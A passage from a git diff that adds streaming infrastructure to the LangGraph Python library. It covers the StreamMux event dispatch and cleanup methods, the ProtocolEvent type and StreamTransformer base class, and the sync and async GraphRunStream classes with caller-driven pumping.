+            RuntimeError: If the mux was not constructed with
+                `factories=`. Mini-muxes require factories so each scope
+                gets its own fresh transformer instances.
+        """
+        if self._factories is None:
+            raise RuntimeError(
+                "StreamMux._make_child requires the mux to be constructed "
+                "with `factories=`; pre-built transformers can't be "
+                "cloned to a new scope."
+            )
+        child = StreamMux(
+            factories=self._factories,
+            is_async=self.is_async,
+            scope=scope,
+            _assign_seq=False,
+        )
+        if self._pump_fn is not None:
+            child.bind_pump(self._pump_fn)
+        if self._apump_fn is not None:
+            child.bind_apump(self._apump_fn)
+        return child
+
+    def _register(self, transformer: StreamTransformer) -> None:
+        """Register a single transformer.
+
+        Calls `transformer.init()`, stores the transformer for event
+        processing, binds any StreamChannel instances in the projection,
+        and merges the projection into `extensions`.
+        """
+        if transformer_requires_async(transformer) and not self.is_async:
+            raise RuntimeError(
+                f"{type(transformer).__name__} requires an async run — "
+                "it overrides aprocess/afinalize/afail or sets "
+                "requires_async=True. Use astream(), not stream()."
+            )
+        projection = transformer.init()
+        if not isinstance(projection, dict):
+            raise TypeError(
+                f"StreamTransformer.init() must return a dict, "
+                f"got {type(projection).__name__}"
+            )
+        conflicts = set(projection) & set(self.extensions)
+        if conflicts:
+            attributions = ", ".join(
+                f"{key!r} (owned by {self._projection_owners[key]})"
+                for key in sorted(conflicts)
+            )
+            raise ValueError(
+                f"Transformer {type(transformer).__name__} returned "
+                f"projection keys that conflict with already-registered "
+                f"keys: {attributions}"
+            )
+        is_native = bool(getattr(transformer, "_native", False))
+        self._transformers.append(transformer)
+        self._bind_and_wire(projection, native=is_native)
+        self.extensions.update(projection)
+        owner_name = type(transformer).__name__
+        for key in projection:
+            self._projection_owners[key] = owner_name
+            self._transformer_by_key[key] = transformer
+        if is_native:
+            self.native_keys.update(projection.keys())
+        transformer._on_register(self)
+
+    def push(self, event: ProtocolEvent) -> None:
+        """Route an event through all transformers, then append to the main log.
+
+        Each transformer's `process()` is called in registration order.
+        If any transformer returns False, the event is suppressed from
+        the main log, but transformers that already saw it keep their
+        side effects.
+
+        On the root mux, `seq` is assigned right before an event enters
+        the main log, not before the transformer pipeline runs. This
+        ensures that events auto-forwarded from StreamChannels during
+        `process()` get earlier seq numbers than the original event,
+        preserving monotonic ordering in the root log. Child muxes do
+        not assign `seq`, so subgraph forwarding can share event objects
+        without mutating their envelopes.
+
+        Args:
+            event: The protocol event to dispatch.
+        """
+        keep = True
+        for transformer in self._transformers:
+            if not transformer.process(event):
+                keep = False
+        if keep:
+            if self._assign_seq:
+                self._seq += 1
+                event["seq"] = self._seq
+            self._events.push(event)
+
+    def close(self) -> None:
+        """Finalize all transformers, close all projections and the main log.
+
+        StreamChannels discovered in transformer projections are
+        auto-closed after `finalize()` runs — transformers don't need
+        to close them manually. If any transformer's `finalize()` raises,
+        the remaining transformers, projections, and the main log are
+        still closed; the first error is re-raised after cleanup
+        completes.
+
+        Raises:
+            BaseException: The first error raised by a transformer's
+                `finalize()`, re-raised after cleanup finishes.
+        """
+        first_error: BaseException | None = None
+        for transformer in self._transformers:
+            try:
+                transformer.finalize()
+            except BaseException as e:
+                if first_error is None:
+                    first_error = e
+        for ch in self._channels:
+            if not ch._closed:
+                ch.close()
+        self._events.close()
+        if first_error is not None:
+            raise first_error
+
+    def fail(self, err: BaseException) -> None:
+        """Fail all transformers, projections, and the main log.
+
+        StreamChannels discovered in transformer projections are
+        auto-failed — transformers don't need to fail them manually.
+        If any transformer's `fail()` raises, the remaining
+        transformers, projections, and the main log are still failed.
+
+        Args:
+            err: The exception that ended the run.
+        """
+        for transformer in self._transformers:
+            try:
+                transformer.fail(err)
+            except BaseException:
+                pass
+        for ch in self._channels:
+            if not ch._closed:
+                ch.fail(err)
+        self._events.fail(err)
+
+    # ------------------------------------------------------------------
+    # Async dispatch
+    # ------------------------------------------------------------------
+
+    async def apush(self, event: ProtocolEvent) -> None:
+        """Dispatch an event on the async lane.
+
+        Awaits each transformer's `aprocess` in registration order
+        before appending to the main log. A slow `aprocess` serializes
+        the pipeline by design — that's the guarantee that lets a later
+        transformer (or a synchronous consumer) see the result of the
+        async work. For decoupled work, use `schedule()` from inside
+        `process` / `aprocess` instead.
+
+        The main log append is a non-blocking `push` — matching v1's
+        `put_nowait` shape. The root mux assigns `seq`; child muxes do
+        not, so forwarded subgraph events can be shared without copying.
+        Memory is bounded by caller pace via the caller-driven pump; see
+        `StreamChannel` for the full tradeoff story.
+
+        Args:
+            event: The protocol event to dispatch.
+        """
+        keep = True
+        for transformer in self._transformers:
+            if not await transformer.aprocess(event):
+                keep = False
+        if keep:
+            if self._assign_seq:
+                self._seq += 1
+                event["seq"] = self._seq
+            self._events.push(event)
+
+    async def aclose(self) -> None:
+        """Finalize on the async lane.
+
+        Awaits every task started via `StreamTransformer.schedule()`
+        across all transformers, then calls `afinalize()` on each,
+        then auto-closes channels and the main event log.
+
+        If any scheduled task raised under `on_error="raise"`, or any
+        transformer's `afinalize` raises, the exception propagates.
+        The caller (the pump) handles it by routing into `afail`.
+
+        Raises:
+            BaseException: The first scheduled-task or `afinalize`
+                error, re-raised after cleanup.
+        """
+        pending = self._collect_scheduled_tasks()
+        if pending:
+            results = await asyncio.gather(*pending, return_exceptions=True)
+            first_err = next(
+                (
+                    r
+                    for r in results
+                    if isinstance(r, BaseException)
+                    and not isinstance(r, asyncio.CancelledError)
+                ),
+                None,
+            )
+            if first_err is not None:
+                raise first_err
+
+        first_error: BaseException | None = None
+        for transformer in self._transformers:
+            try:
+                await transformer.afinalize()
+            except BaseException as e:
+                if first_error is None:
+                    first_error = e
+        for ch in self._channels:
+            if not ch._closed:
+                ch.close()
+        self._events.close()
+        if first_error is not None:
+            raise first_error
+
+    async def afail(self, err: BaseException) -> None:
+        """Fail on the async lane.
+
+        Cancels every scheduled task across all transformers, awaits
+        them to completion, then runs each transformer's `afail` hook
+        and auto-fails channels and the main event log.
+
+        Args:
+            err: The exception that ended the run.
+        """
+        pending = self._collect_scheduled_tasks()
+        for task in pending:
+            task.cancel()
+        if pending:
+            await asyncio.gather(*pending, return_exceptions=True)
+
+        for transformer in self._transformers:
+            try:
+                await transformer.afail(err)
+            except BaseException:
+                pass
+        for ch in self._channels:
+            if not ch._closed:
+                ch.fail(err)
+        if not self._events._closed:
+            self._events.fail(err)
+
+    def _collect_scheduled_tasks(self) -> list[asyncio.Task[Any]]:
+        """Return a snapshot of in-flight tasks scheduled via transformers."""
+        return [
+            task
+            for transformer in self._transformers
+            for task in getattr(transformer, "_stream_scheduled_tasks", ())
+            if not task.done()
+        ]
+
+    # ------------------------------------------------------------------
+    # Binding and StreamChannel auto-wiring
+    # ------------------------------------------------------------------
+
+    def _bind_and_wire(
+        self, projection: dict[str, Any], *, native: bool = False
+    ) -> None:
+        """Bind and optionally wire StreamChannel instances in a projection.
+
+        All StreamChannels are bound and tracked. Channels with a name
+        are additionally wired for protocol auto-forwarding.
+
+        Args:
+            projection: The projection dict returned by a transformer's
+                `init()`.
+            native: True when the owning transformer is `_native`.
+                Named channels owned by a native transformer use the
+                channel name directly as the protocol method;
+                user-defined channels are prefixed with `custom:`.
+        """
+        for value in projection.values():
+            if isinstance(value, StreamChannel):
+                value._bind(is_async=self.is_async)
+                value._bind_mux(self)
+                self._channels.append(value)
+                if value.name is not None:
+                    method = value.name if native else f"custom:{value.name}"
+
+                    def _make_forward(method_name: str) -> Callable[[Any], None]:
+                        def _forward(item: Any) -> None:
+                            self._forward(method_name, item)
+
+                        return _forward
+
+                    value._wire(_make_forward(method))
+
+    def _forward(self, method: str, item: Any) -> None:
+        """Inject a ProtocolEvent for a StreamChannel push.
+
+        Forwarded events bypass the transformer pipeline to avoid
+        infinite recursion (a transformer that pushes to a channel
+        during `process()` would re-trigger itself). These events are
+        visible in this mux's main event log but are not passed through
+        transformers' `process()` methods. Only the root mux assigns
+        `seq` to forwarded channel events.
+
+        Args:
+            method: The full protocol method (already with or without
+                the `custom:` prefix; resolved by `_bind_and_wire`).
+            item: The payload pushed onto the channel.
+        """
+        event: ProtocolEvent = {
+            "type": "event",
+            "method": method,
+            "params": {
+                "namespace": [],
+                "timestamp": int(time.time() * 1000),
+                "data": item,
+            },
+        }
+        if self._assign_seq:
+            self._seq += 1
+            event["seq"] = self._seq
+        self._events.push(event)
diff --git a/libs/langgraph/langgraph/stream/_types.py b/libs/langgraph/langgraph/stream/_types.py
new file mode 100644
index 0000000..13b202a
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/_types.py
@@ -0,0 +1,330 @@
+from __future__ import annotations
+
+import asyncio
+import logging
+from abc import ABC, abstractmethod
+from collections.abc import Coroutine
+from typing import Any, ClassVar, Literal
+
+from typing_extensions import NotRequired, TypedDict
+
+_logger = logging.getLogger(__name__)
+
+
+class _ProtocolEventParams(TypedDict):
+    """Parameters for a protocol event.
+
+    `timestamp` is wall-clock milliseconds since the epoch and can go
+    backwards across NTP adjustments — use `ProtocolEvent.seq` for
+    ordering.
+    """
+
+    namespace: list[str]
+    timestamp: int
+    data: Any
+    interrupts: NotRequired[tuple[Any, ...]]
+
+
+class ProtocolEvent(TypedDict):
+    """A protocol event emitted by the streaming infrastructure.
+
+    Wraps a raw stream part (values, messages, custom, etc.) in a uniform
+    envelope with a monotonic sequence number assigned by the root StreamMux.
+    Consumers that need a total order across root events should use `seq`, not
+    `params.timestamp` (which is wall-clock and not monotonic).
+    """
+
+    type: Literal["event"]
+    event_id: NotRequired[str]  # snake_case to match the langchain-protocol wire field
+    seq: NotRequired[int]
+    method: str  # StreamMode value: "values", "messages", "custom", etc.
+    params: _ProtocolEventParams
+
+
+class StreamTransformer(ABC):
+    """Extension point for custom stream projections.
+
+    Transformers observe protocol events flowing through the StreamMux and
+    build typed derived projections (StreamChannels, promises, etc.).
+
+    Set `_native = True` on a transformer to have its projection keys
+    exposed as direct attributes on the run stream (in addition to
+    appearing in `run.extensions`).
+
+    Subclasses must implement `init` and override at least one of
+    `process` / `aprocess`. The `finalize` / `afinalize` and `fail` /
+    `afail` hooks are optional — the default implementations are no-ops.
+    StreamChannel instances in the projection dict are auto-closed /
+    auto-failed by the mux, so most transformers don't need `finalize`
+    or `fail` at all.
+
+    Transformers that need async work pick the async lane by:
+
+    1. Overriding `aprocess` (and optionally `afinalize` / `afail`), or
+    2. Calling `self.schedule(coro)` from inside a sync `process`, or
+    3. Setting `requires_async = True` explicitly.
+
+    The mux detects these cases at registration and raises if they're
+    used under sync `stream()` — they only work under `astream()`.
+
+    Use `aprocess` when the pump must wait for async work before the
+    next transformer sees the event (e.g. PII redaction that mutates
+    `event` in place). Use `schedule()` for decoupled async work whose
+    result lands on an independent projection (e.g. async moderation
+    scoring, cost lookup, external tracing).
+
+    Attributes:
+        scope: Namespace the transformer operates within — `()` for the
+            root mux. Set at construction from the mux's scope (each
+            factory is called as `factory(scope)`).
+        requires_async: Explicit opt-in for transformers that need a
+            running event loop but don't override any async method (for
+            example, transformers that call `schedule()` from a sync
+            `process`). The mux also auto-detects the async lane when
+            `aprocess`, `afinalize`, or `afail` is overridden.
+        supports_sync: Set True only for transformers that override
+            async-lane hooks while still fully supporting the sync lane.
+            Such transformers may be registered under `stream()`.
+        required_stream_modes: Stream modes the graph must emit for
+            this transformer to have anything to process. Computed as
+            the union across all registered transformers to determine
+            which modes a `stream_events(version="v3")` run requests from the graph.
+            Empty tuple means the transformer consumes only synthetic
+            events (or is purely passive).
+        before_builtins: Opt-in for transformers that must run *before*
+            built-in transformers like `MessagesTransformer` and
+            `ToolCallTransformer`. The mux partitions factories by this
+            flag at registration time: `before_builtins = True`
+            transformers are registered first, then everything else in
+            the order supplied. Within each lane, registration order is
+            preserved. This is the supported hook for content-mutating
+            transformers (PII redaction, profanity filters, etc.) whose
+            mutations must land before built-ins eagerly snapshot text
+            fields into their projections. **Foot-gun:** transformers
+            in this lane see `tasks` events before `LifecycleTransformer`
+            and `SubgraphTransformer` consume them — mutating
+            `event["params"]["namespace"]` or the data dict's
+            `id` / `result` / `error` / `interrupts` fields will desync
+            their bookkeeping. Observe freely; mutate only fields no
+            built-in reads (e.g. `delta.text` on `messages` events).
+    """
+
+    requires_async: ClassVar[bool] = False
+    supports_sync: ClassVar[bool] = False
+    required_stream_modes: ClassVar[tuple[str, ...]] = ()
+    before_builtins: ClassVar[bool] = False
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        """Initialize the transformer with its mux's scope.
+
+        Args:
+            scope: The namespace tuple the owning mux is scoped to.
+                `()` for the root. Factories receive this at
+                construction time (`factory(scope)` in `StreamMux`).
+        """
+        self.scope: tuple[str, ...] = scope
+
+    @abstractmethod
+    def init(self) -> dict[str, Any]:
+        """Return the projection dict.
+
+        Keys become entries in `run.extensions`. If the transformer has
+        `_native = True`, keys are also set as direct attributes on the
+        run stream.
+
+        StreamChannel instances in the return value are automatically
+        wired by the StreamMux for protocol event auto-forwarding.
+        """
+        ...
+
+    def _on_register(self, mux: Any) -> None:
+        """Called by `StreamMux._register` after this transformer is wired in.
+
+        Default is a no-op. Override to capture a reference to the
+        owning mux — needed for transformers that build mini-muxes
+        via `mux._make_child(...)` (e.g. `SubgraphTransformer`).
+        """
+
+    def process(self, event: ProtocolEvent) -> bool:
+        """Handle an event on the sync lane.
+
+        Called for every event before it is appended to the main event
+        log. Subclasses must override either `process` or `aprocess`.
+        The default raises so a missing override fails loudly rather
+        than silently passing every event through.
+
+        Args:
+            event: The protocol event to observe.
+
+        Returns:
+            True to keep the event in the main log, False to suppress it.
+        """
+        raise NotImplementedError(
+            f"{type(self).__name__} must override process() or aprocess()"
+        )
+
+    async def aprocess(self, event: ProtocolEvent) -> bool:
+        """Handle an event on the async lane.
+
+        The mux awaits this before dispatching to the next transformer,
+        so a slow `aprocess` serializes the pipeline. Use it only when
+        a later transformer — or a consumer reading the event
+        synchronously — must see the result of the async work (e.g.
+        PII redaction that mutates `event` in place).
+
+        The default delegates to `process`, so purely-sync transformers
+        run unchanged under `astream()`.
+
+        Args:
+            event: The protocol event to observe.
+
+        Returns:
+            True to keep the event in the main log, False to suppress it.
+        """
+        return self.process(event)
+
+    def finalize(self) -> None:
+        """Called when the run ends normally (sync lane).
+
+        Override to close StreamChannels, resolve promises, or perform
+        other teardown. StreamChannel instances in the projection dict
+        are auto-closed by the mux.
+        """
+
+    async def afinalize(self) -> None:
+        """Called when the run ends normally (async lane).
+
+        By the time this runs, the mux has already awaited every task
+        started via `schedule()`, so StreamChannels can be closed here
+        without a last-task-wins race.
+
+        The default delegates to `finalize`.
+        """
+        self.finalize()
+
+    def fail(self, err: BaseException) -> None:
+        """Called when the run ends with an error (sync lane).
+
+        Override to fail StreamChannels, reject promises, or perform
+        other teardown. StreamChannel instances in the projection dict
+        are auto-failed by the mux.
+
+        Args:
+            err: The exception that ended the run.
+        """
+
+    async def afail(self, err: BaseException) -> None:
+        """Called when the run ends with an error (async lane).
+
+        The mux cancels and awaits every task started via `schedule()`
+        before calling this, so cleanup doesn't race with in-flight work.
+
+        The default delegates to `fail`.
+
+        Args:
+            err: The exception that ended the run.
+        """
+        self.fail(err)
+
+    # ------------------------------------------------------------------
+    # Scheduled async work
+    # ------------------------------------------------------------------
+
+    def schedule(
+        self,
+        coro: Coroutine[Any, Any, Any],
+        *,
+        on_error: Literal["log", "raise"] = "log",
+    ) -> asyncio.Task[Any]:
+        """Schedule a coroutine tied to this transformer's lifecycle.
+
+        The mux holds the task reference, awaits all scheduled tasks
+        during `aclose()` before calling `afinalize()`, and cancels
+        them on `afail()`. Authors don't need to track tasks or
+        implement the last-task-closes-the-log dance.
+
+        Requires a running event loop — call only under `astream()`.
+        Set `requires_async = True` on the class so registration under
+        sync `stream()` fails fast with a clear message.
+
+        Args:
+            coro: The coroutine to run. Its lifecycle is owned by the
+                mux from this point on.
+            on_error: `"log"` (default) catches and logs any exception
+                the coroutine raises, so a single failure doesn't tear
+                down the run. `"raise"` lets the exception propagate
+                when the mux joins pendings, converting the close path
+                into the fail path.
+
+        Returns:
+            The asyncio Task. Authors rarely need to await it directly
+            — consumers read results from whatever projection the
+            coroutine pushes into.
+
+        Raises:
+            RuntimeError: If called without a running event loop (i.e.
+                under sync `stream()` rather than `astream()`).
+        """
+        try:
+            asyncio.get_running_loop()
+        except RuntimeError:
+            raise RuntimeError(
+                f"{type(self).__name__}.schedule() requires a running "
+                "event loop; this transformer must run under astream(), "
+                "not stream(). Set requires_async=True on the class so "
+                "this fails at registration rather than at first event."
+            ) from None
+
+        wrapped = self._wrap_scheduled(coro) if on_error == "log" else coro
+        task = asyncio.create_task(wrapped)
+        tasks = self._scheduled_task_set()
+        tasks.add(task)
+        task.add_done_callback(tasks.discard)
+        return task
+
+    @staticmethod
+    async def _wrap_scheduled(coro: Coroutine[Any, Any, Any]) -> Any:
+        try:
+            return await coro
+        except asyncio.CancelledError:
+            raise
+        except BaseException:
+            _logger.exception("Scheduled StreamTransformer task failed")
+
+    def _scheduled_task_set(self) -> set[asyncio.Task[Any]]:
+        """Return the lazily-allocated task set.
+
+        Avoids requiring subclasses to call `super().__init__()`.
+        """
+        tasks: set[asyncio.Task[Any]] | None = getattr(
+            self, "_stream_scheduled_tasks", None
+        )
+        if tasks is None:
+            tasks = set()
+            self._stream_scheduled_tasks = tasks
+        return tasks
+
+
+def transformer_requires_async(transformer: StreamTransformer) -> bool:
+    """Return True if the transformer needs a running event loop.
+
+    A transformer requires async if it explicitly opts in
+    (`requires_async = True`) or overrides any of the async-lane methods
+    (`aprocess`, `afinalize`, `afail`) without also declaring that it
+    supports the sync lane.
+
+    Args:
+        transformer: The transformer to inspect.
+
+    Returns:
+        True if the transformer cannot run under sync `stream()`.
+    """
+    if transformer.requires_async:
+        return True
+    if transformer.supports_sync:
+        return False
+    cls = type(transformer)
+    for name in ("aprocess", "afinalize", "afail"):
+        if getattr(cls, name) is not getattr(StreamTransformer, name):
+            return True
+    return False
diff --git a/libs/langgraph/langgraph/stream/run_stream.py b/libs/langgraph/langgraph/stream/run_stream.py
new file mode 100644
index 0000000..5eb14a6
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/run_stream.py
@@ -0,0 +1,663 @@
+from __future__ import annotations
+
+import asyncio
+from collections.abc import AsyncIterator, Awaitable, Callable, Iterator, Mapping
+from types import MappingProxyType, TracebackType
+from typing import TYPE_CHECKING, Any
+
+from langchain_core._api import beta
+
+from langgraph.stream._convert import convert_to_protocol_event
+from langgraph.stream._mux import StreamMux
+from langgraph.stream._types import ProtocolEvent
+
+if TYPE_CHECKING:
+    from langgraph.stream.transformers import SubgraphStatus
+
+
+def _drive_until_done(pump: Callable[[], bool]) -> None:
+    """Call the sync pump until it returns False."""
+    while pump():
+        pass
+
+
+async def _adrive_until_done(pump: Callable[[], Awaitable[bool]]) -> None:
+    """Call the async pump until it returns False."""
+    while await pump():
+        pass
+
+
+@beta(message="The v3 streaming protocol on Pregel is experimental.")
+class GraphRunStream:
+    """Sync run stream with caller-driven pumping.
+
+    The caller's iteration on any projection (`values`, `messages`,
+    raw events, or `output`) drives the graph forward. No background
+    thread is used — the caller's `for` loop is the pump.
+
+    Projections are single-consumer — iterating `run.values` twice
+    raises. Use `projection.tee(n)` if you genuinely need fan-out.
+
+    All transformer projections live in `extensions`. Native transformer
+    projections (those with `_native = True`) are also set as direct
+    attributes on this instance (e.g. `run.values`, `run.messages`).
+
+    !!! warning
+
+        Returned by `Pregel.stream_events(version="v3")`, which is
+        experimental and may change.
+    """
+
+    def __init__(
+        self,
+        graph_iter: Iterator[Any] | None,
+        mux: StreamMux,
+        *,
+        wire_pump: bool = True,
+    ) -> None:
+        """Initialize the run stream.
+
+        Args:
+            graph_iter: Pull-based iterator over the graph's stream,
+                or `None` for nested run streams whose pump is driven
+                by an outer run (e.g. `SubgraphRunStream`).
+            mux: The StreamMux owning projections and the main log.
+            wire_pump: When True (default), bind `_pump_next` as the
+                mux's pump callable. Subclasses that inherit a parent
+                pump via `StreamMux._make_child` should pass False to
+                preserve the parent binding.
+        """
+        self._graph_iter = graph_iter
+        self._mux = mux
+        self.extensions: Mapping[str, Any] = MappingProxyType(mux.extensions)
+        self._exhausted = False
+        self._latest: dict[str, Any] | None = None
+        self._interrupted = False
+        self._interrupts: list[Any] = []
+        self._scope_list: list[str] = list(mux.scope)
+        for key in mux.native_keys:
+            setattr(self, key, mux.extensions[key])
+        if wire_pump:
+            self._wire_request_more(mux)
+
+    def _wire_request_more(self, mux: StreamMux) -> None:
+        """Wire the sync pull callback through the mux.
+
+        Routing through `mux.bind_pump` (rather than walking
+        projections directly here) lets child mini-muxes built by
+        `mux._make_child(...)` inherit the same pump callable, so
+        cursors on a subgraph handle's projections drive the root
+        pump just like cursors on `run.values` do.
+        """
+        mux.bind_pump(self._pump_next)
+
+    def _observe_event(self, event: ProtocolEvent) -> None:
+        """Track values-event state for output/interrupted/interrupts."""
+        if event["method"] != "values":
+            return
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return
+        self._latest = params["data"]
+        interrupts = params.get("interrupts", ())
+        if interrupts:
+            self._interrupted = True
+            self._interrupts.extend(interrupts)
+
+    def _pump_next(self) -> bool:
+        """Pull one event from the graph and push it through the mux.
+
+        Returns:
+            True if an event was pulled, False if the graph is exhausted
+            or has raised. Always False when constructed with
+            `graph_iter=None` (the run is driven by an outer pump).
+        """
+        if self._exhausted or self._graph_iter is None:
+            return False
+        try:
+            part = next(self._graph_iter)
+            event = convert_to_protocol_event(part)
+            self._observe_event(event)
+            self._mux.push(event)
+            return True
+        except StopIteration:
+            self._mux.close()
+            self._exhausted = True
+            return False
+        except Exception as e:
+            self._mux.fail(e)
+            self._exhausted = True
+            return False
+
+    def abort(self) -> None:
+        """Stop the run early.
+
+        Closes the underlying graph iterator (propagating `GeneratorExit`
+        so in-flight nodes and subgraphs are cancelled), closes the mux,
+        and marks the stream exhausted. Idempotent.
+        """
+        if self._exhausted:
+            return
+        self._exhausted = True
+        graph_iter = self._graph_iter
+        self._graph_iter = None
+        if (
+            graph_iter is not None
+            and (close := getattr(graph_iter, "close", None)) is not None
+        ):
+            try:
+                close()
+            except Exception:
+                pass
+        try:
+            self._mux.close()
+        except Exception:
+            pass
+
+    def __enter__(self) -> GraphRunStream:
+        return self
+
+    def __exit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc: BaseException | None,
+        tb: TracebackType | None,
+    ) -> None:
+        self.abort()
+
+    @property
+    def output(self) -> dict[str, Any] | None:
+        """Drive the run to completion and return the final state."""
+        _drive_until_done(self._pump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._latest
+
+    @property
+    def interrupted(self) -> bool:
+        """Drive the run to completion, then return whether it was
+        interrupted.
+
+        Raises:
+            BaseException: If the run ended with an error.
+        """
+        _drive_until_done(self._pump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._interrupted
+
+    @property
+    def interrupts(self) -> list[Any]:
+        """Drive the run to completion, then return interrupt payloads.
+
+        Raises:
+            BaseException: If the run ended with an error.
+        """
+        _drive_until_done(self._pump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._interrupts
+
+    def __iter__(self) -> Iterator[ProtocolEvent]:
+        """Subscribe to the main event log and iterate protocol events."""
+        return iter(self._mux._events)
+
+    def interleave(self, *names: str) -> Iterator[tuple[str, Any]]:
+        """Iterate multiple projections in arrival order, yielding ``(name, item)``.
+
+        Items are ordered by a monotonic push stamp assigned when each
+        transformer pushes into its `StreamChannel`. This gives strict
+        arrival ordering across projections, unlike round-robin.
+
+        Args:
+            *names: Projection keys to interleave. Must match keys in
+                ``extensions``.
+
+        Yields:
+            ``(name, item)`` tuples in arrival order across the named
+            projections.
+
+        Each named channel is locked for the duration of iteration and
+        released when the generator completes, is closed, or raises.
+        Channels cannot be subscribed concurrently — use `.tee(n)` if
+        you need fan-out.
+
+        Raises:
+            KeyError: If a name doesn't match a registered projection.
+
+        Example:
+            ```python
+            for name, item in run.interleave("messages", "values"):
+                if name == "messages":
+                    print("msg:", item)
+                else:
+                    print("val:", item)
+            ```
+        """
+        from langgraph.stream.stream_channel import StreamChannel
+
+        channels: dict[str, StreamChannel[Any]] = {}
+        try:
+            for name in names:
+                ch = self.extensions[name]
+                if not isinstance(ch, StreamChannel):
+                    raise TypeError(
+                        f"interleave() requires StreamChannel projections, "
+                        f"got {type(ch).__name__} for {name!r}"
+                    )
+                if ch._is_async is None:
+                    raise TypeError(
+                        f"StreamChannel {name!r} has not been bound yet. "
+                        "Register the transformer with a StreamMux first."
+                    )
+                if ch._is_async:
+                    raise TypeError(
+                        f"StreamChannel {name!r} is bound to async mode — "
+                        "sync interleave() cannot consume async channels."
+                    )
+                if ch._subscribed:
+                    raise RuntimeError(
+                        f"StreamChannel {name!r} already has a subscriber; "
+                        "use .tee(n) for fan-out."
+                    )
+                ch._subscribed = True
+                channels[name] = ch
+
+            done: set[str] = set()
+
+            while len(done) < len(channels):
+                best: tuple[int, str] | None = None
+                for name, ch in channels.items():
+                    if name in done:
+                        continue
+                    if ch._closed and not ch._items:
+                        if ch._error is not None:
+                            raise ch._error
+                        done.add(name)
+                        continue
+                    if ch._items:
+                        stamp = ch._items[0][0]
+                        if best is None or stamp < best[0]:
+                            best = (stamp, name)
+
+                if best is not None:
+                    _stamp, item = channels[best[1]]._items.popleft()
+                    yield (best[1], item)
+                else:
+                    pump = self._mux._pump_fn
+                    if pump is None or not pump():
+                        before = len(done)
+                        for name, ch in channels.items():
+                            if name not in done and not ch._items:
+                                if ch._closed:
+                                    if ch._error is not None:
+                                        raise ch._error
+                                    done.add(name)
+                        if len(done) == before:
+                            break
+        finally:
+            for ch in channels.values():
+                ch._subscribed = False
+
+
+@beta(message="The v3 streaming protocol on Pregel is experimental.")
+class AsyncGraphRunStream:
+    """Async run stream with caller-driven pumping.
+
+    Async iteration on any projection drives the graph forward — there
+    is no background task. Concurrent consumers share a single-flight
+    pump via an `asyncio.Lock`, so each awaiting cursor contributes one
+    event per acquisition. Backpressure comes from the logs: when a
+    subscribed log's buffer reaches `maxlen`, `apush` awaits the
+    subscriber to drain, which holds back the pump and paces the graph.
+
+    Projections are single-consumer — a second `aiter(run.values)`
+    raises. Use `projection.tee(n)` for fan-out.
+
+    Use as an async context manager to guarantee clean shutdown on
+    early exit:
+
+    ```python
+    async with await handler.astream(input) as run:
+        async for msg in run.messages:
+            ...
+    ```
+
+    !!! warning
+
+        Awaited from `Pregel.astream_events(version="v3")`, which is
+        experimental and may change.
+    """
+
+    def __init__(
+        self,
+        graph_aiter: AsyncIterator[Any] | None,
+        mux: StreamMux,
+        *,
+        wire_pump: bool = True,
+    ) -> None:
+        """Initialize the async run stream.
+
+        Args:
+            graph_aiter: Async iterator over the graph's stream, or
+                `None` for nested run streams whose pump is driven by
+                an outer run (e.g. `AsyncSubgraphRunStream`).
+            mux: The StreamMux owning projections and the main log.
+            wire_pump: When True (default), bind `_apump_next` as the
+                mux's async pump callable. Subclasses that inherit a
+                parent pump via `StreamMux._make_child` should pass
+                False to preserve the parent binding.
+        """
+        self._graph_aiter = graph_aiter
+        self._mux = mux
+        self.extensions: Mapping[str, Any] = MappingProxyType(mux.extensions)
+        self._exhausted = False
+        self._latest: dict[str, Any] | None = None
+        self._interrupted = False
+        self._interrupts: list[Any] = []
+        self._scope_list: list[str] = list(mux.scope)
+        self._pump_cond = asyncio.Condition()
+        self._pumping = False
+        self._anext_task: asyncio.Future[Any] | None = None
+        self._aborting = False
+        for key in mux.native_keys:
+            setattr(self, key, mux.extensions[key])
+        if wire_pump:
+            self._wire_arequest_more(mux)
+
+    def _observe_event(self, event: ProtocolEvent) -> None:
+        """Track values-event state for output/interrupted/interrupts."""
+        if event["method"] != "values":
+            return
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return
+        self._latest = params["data"]
+        interrupts = params.get("interrupts", ())
+        if interrupts:
+            self._interrupted = True
+            self._interrupts.extend(interrupts)
+
+    def _wire_arequest_more(self, mux: StreamMux) -> None:
+        """Wire the async pull callback through the mux.
+
+        Mirrors `_wire_request_more`: routing through
+        `mux.bind_apump` lets child mini-muxes inherit the pump
+        callable so cursors on subgraph handles drive the root
+        pump.
+        """
+        mux.bind_apump(self._apump_next)
+
+    async def _apump_next(self) -> bool:
+        """Drive one pump step, or wait for the active pumper to drive one.
+
+        "Take-a-number" semantics: at most one task at a time calls
+        `graph_aiter.__anext__()` (asyncio iterators can't be advanced
+        concurrently). Other callers wait on a Condition that the
+        active pumper notifies after each step. This lets a "passive"
+        consumer — one whose projection's buffer is being filled by the
+        active pumper's push — wake up as soon as its data lands,
+        instead of queueing on the pump and only observing its data one
+        graph event late.
+
+        `except Exception` is intentional — `CancelledError` and other
+        `BaseException` subclasses propagate, matching asyncio's
+        cancellation contract.
+
+        Returns:
+            True if a pump step completed (by this task or another),
+            False if the graph is exhausted.
+        """
+        async with self._pump_cond:
+            if self._exhausted or self._graph_aiter is None:
+                return False
+            if self._pumping:
+                # Another task is pumping; wait for its progress signal.
+                await self._pump_cond.wait()
+                return not self._exhausted
+            self._pumping = True
+
+        try:
+            try:
+                # Run the pull as a child task so `abort()` can cancel it
+                # mid-flight. Cancelling propagates `CancelledError` into the
+                # graph generator frame -> Pregel loop -> nested subgraph
+                # nodes, which a bare `aclose()` cannot do while the generator
+                # is running ("asynchronous generator is already running").
+                self._anext_task = asyncio.ensure_future(self._graph_aiter.__anext__())
+                try:
+                    part = await self._anext_task
+                except asyncio.CancelledError:
+                    if self._aborting:
+                        # Abort-initiated cancel: stop gracefully.
+                        self._exhausted = True
+                        return False
+                    # Genuine external cancel of this task: also stop the
+                    # in-flight pull, then propagate.
+                    self._anext_task.cancel()
+                    raise
+                finally:
+                    self._anext_task = None
